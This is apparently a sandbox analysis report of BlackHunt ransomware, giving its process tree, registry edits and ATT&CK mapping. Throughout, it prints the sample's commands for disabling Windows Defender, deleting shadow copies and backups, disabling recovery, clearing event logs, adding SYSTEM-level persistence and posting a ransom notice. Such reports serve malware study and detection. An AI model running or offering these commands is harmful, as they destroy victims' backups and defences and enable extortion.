PID 2844 wrote to memory of 2580	2844	cmd.exe	130
PID 2844 wrote to memory of 2580	2844	cmd.exe	130
PID 1944 wrote to memory of 2316	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	129
PID 1944 wrote to memory of 2316	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	129

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
"C:\Users\Admin\AppData\Local\Temp\3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:1628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1252
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:108
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe" /F
  2⤵
  PID:2020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3564
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:1748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2668
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    PID:3468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3208
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:2360
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    PID:3784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1524
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3896
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:284
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1692
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    PID:2136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2868
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    PID:1228
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe"
  2⤵
  PID:1540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3888

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:300
- C:\Windows\system32\wevtutil.exe
  wevtutil.exe cl Application
  2⤵
  - Clears Windows event logs
  PID:3776

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:2096

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2000

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:1548

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:2800

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe" /F
1⤵
- Creates scheduled task(s)
PID:2456

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:2436

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:2660

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1560

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:1444

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:1916

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:2232

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:2636
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Modifies registry class
  PID:2572

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2392

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:1504
- C:\Windows\system32\fsutil.exe
  fsutil.exe usn deletejournal /D C:
  2⤵
  - Deletes NTFS Change Journal
  PID:3060

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2804

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:908

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:2204

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1452

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:2428

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:2792

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:2832

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2936

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2912

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
1⤵
PID:2200

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:2568

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:4088

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:2032

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:1604

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
1⤵
PID:1468

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:2448

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:328

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:1240

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:2580

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-647858343687407225-588836127-190367608421257423997895498889002613631537624405"
1⤵
PID:2792

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:1664

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
1⤵
- Adds Run key to start application
PID:2552

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "142266003612183888221300333210115304172081389295-1994888231540961135238750936"
1⤵
PID:2660

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2260

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
1⤵
- Modifies registry class
PID:2716

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D M:\
1⤵
PID:3532

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security
1⤵
- Clears Windows event logs
PID:2772

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
1⤵
PID:3352

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 5
1⤵
- Runs ping.exe
PID:3524

C:\Windows\system32\notepad.exe
notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
1⤵
PID:3376

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:1884

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl System
1⤵
- Clears Windows event logs
PID:2744

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:2144

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
1⤵
PID:2256

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:2624

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "701028813-239872951-399994473-1283406478919537863-1581625207-712996650521954221"
1⤵
PID:1916

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
PID:4008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery